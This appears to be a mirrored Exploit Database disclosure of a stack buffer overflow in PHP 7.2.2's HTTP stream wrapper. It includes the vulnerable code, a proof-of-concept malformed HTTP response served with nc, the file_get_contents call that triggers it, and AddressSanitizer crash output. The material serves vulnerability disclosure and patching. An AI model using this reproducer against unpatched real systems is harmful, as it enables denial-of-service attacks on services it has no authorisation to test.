PHP 7.2.2 – ‘php_stream_url_wrap_http_ex’ Buffer Overflow

• Exploit Database
• 84 阅读

• 作者： Wei Lei and Liu Yang
  日期： 2018-06-06
• 类别：

  • dos
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/44846/

• Description:
  ------------
  The latest PHP distributions contain a memory corruption bug while parsing malformed HTTP response packets. Vulnerable code at:
  
  php_stream_url_wrap_http_ex /home/weilei/php-7.2.2/ext/standard/http_fopen_wrapper.c:723
  
  			if (tmp_line[tmp_line_len - 1] == '\n') {
  				--tmp_line_len;
  				if (tmp_line[tmp_line_len - 1] == '\r') {
  					--tmp_line_len;
  				}
  }
  
  If the proceeding buffer contains '\r' as either controlled content or junk on stack, under a realistic setting (non-ASAN), tmp_line_len could go do -1, resulting in an extra large string being copied subsequently. Under ASAN a segfault can be observed.
  
  $ bin/php --version
  PHP 7.2.2 (cli) (built: Feb 20 2018 08:51:24) ( NTS )
  Copyright (c) 1997-2018 The PHP Group
  Zend Engine v3.2.0, Copyright (c) 1998-2018 Zend Technologies
  
  
  Test script:
  ---------------
  $ xxd -g 1 poc
  0000000: 30 30 30 30 30 30 30 30 30 31 30 30 0a 0a000000000100..
  
  $ nc -vvlp 8080 < poc
  Listening on [0.0.0.0] (family 0, port 8080)
  Connection from [127.0.0.1] port 8080 [tcp/http-alt] accepted (family 2, sport 53083)
  GET / HTTP/1.0
  Host: localhost:8080
  Connection: close
  
  $ bin/php -r 'file_get_contents("http://localhost:8080");'
  
  Expected result:
  ----------------
  NO CRASH
  
  Actual result:
  --------------
  $ bin/php -r 'file_get_contents("http://localhost:8080");'
  =================================================================
  ==26249== ERROR: AddressSanitizer: stack-buffer-overflow on address 0xbfc038ef at pc 0x8aa393b bp 0xbfc02eb8 sp 0xbfc02eac
  READ of size 1 at 0xbfc038ef thread T0
  #0 0x8aa393a in php_stream_url_wrap_http_ex /home/weilei/php-7.2.2/ext/standard/http_fopen_wrapper.c:723
  #1 0x8aa61fb in php_stream_url_wrap_http /home/weilei/php-7.2.2/ext/standard/http_fopen_wrapper.c:979
  #2 0x8b8b115 in _php_stream_open_wrapper_ex /home/weilei/php-7.2.2/main/streams/streams.c:2027
  #3 0x8918dc0 in zif_file_get_contents /home/weilei/php-7.2.2/ext/standard/file.c:550
  #4 0x867993a in phar_file_get_contents /home/weilei/php-7.2.2/ext/phar/func_interceptors.c:224
  #5 0x91ee267 in ZEND_DO_ICALL_SPEC_RETVAL_UNUSED_HANDLER /home/weilei/php-7.2.2/Zend/zend_vm_execute.h:573
  #6 0x91ee267 in execute_ex /home/weilei/php-7.2.2/Zend/zend_vm_execute.h:59731
  #7 0x923c13c in zend_execute /home/weilei/php-7.2.2/Zend/zend_vm_execute.h:63760
  #8 0x8cba975 in zend_eval_stringl /home/weilei/php-7.2.2/Zend/zend_execute_API.c:1082
  #9 0x8cbaf66 in zend_eval_stringl_ex /home/weilei/php-7.2.2/Zend/zend_execute_API.c:1123
  #10 0x8cbb06b in zend_eval_string_ex /home/weilei/php-7.2.2/Zend/zend_execute_API.c:1134
  #11 0x9244455 in do_cli /home/weilei/php-7.2.2/sapi/cli/php_cli.c:1042
  #12 0x9246b37 in main /home/weilei/php-7.2.2/sapi/cli/php_cli.c:1404
  #13 0xb5e8ca82 (/lib/i386-linux-gnu/libc.so.6+0x19a82)
  #14 0x80656d0 in _start (/home/weilei/php7_asan/bin/php+0x80656d0)
  Address 0xbfc038ef is located at offset 607 in frame <php_stream_url_wrap_http_ex> of T0's stack:
  This frame has 13 object(s):
  [32, 36) 'transport_string'
  [96, 100) 'errstr'
  [160, 164) 'http_header_line_length'
  [224, 232) 'timeout'
  [288, 296) 'req_buf'
  [352, 360) 'tmpstr'
  [416, 432) 'ssl_proxy_peer_name'
  [480, 496) 'http_header'
  [544, 576) 'buf'
  [608, 736) 'tmp_line'
  [768, 1792) 'location'
  [1824, 2848) 'new_path'
  [2880, 3904) 'loc_path'
  HINT: this may be a false positive if your program uses some custom stack unwind mechanism or swapcontext
  (longjmp and C++ exceptions *are* supported)
  SUMMARY: AddressSanitizer: stack-buffer-overflow /home/weilei/php-7.2.2/ext/standard/http_fopen_wrapper.c:723 php_stream_url_wrap_http_ex
  Shadow bytes around the buggy address:
  0x37f806c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x37f806d0: 00 00 f1 f1 f1 f1 04 f4 f4 f4 f2 f2 f2 f2 04 f4
  0x37f806e0: f4 f4 f2 f2 f2 f2 04 f4 f4 f4 f2 f2 f2 f2 00 f4
  0x37f806f0: f4 f4 f2 f2 f2 f2 00 f4 f4 f4 f2 f2 f2 f2 00 f4
  0x37f80700: f4 f4 f2 f2 f2 f2 00 00 f4 f4 f2 f2 f2 f2 00 00
  =>0x37f80710: f4 f4 f2 f2 f2 f2 00 00 00 00 f2 f2 f2[f2]00 00
  0x37f80720: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f2 f2
  0x37f80730: f2 f2 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x37f80740: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x37f80750: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x37f80760: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable: 00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone: fa
  Heap righ redzone: fb
  Freed Heap region: fd
  Stack left redzone:f1
  Stack mid redzone: f2
  Stack right redzone: f3
  Stack partial redzone: f4
  Stack after return:f5
  Stack use after scope: f8
  Global redzone:f9
  Global init order: f6
  Poisoned by user:f7
  ASan internal: fe
  ==26249== ABORTING
  Aborted
  

  Python

  Copy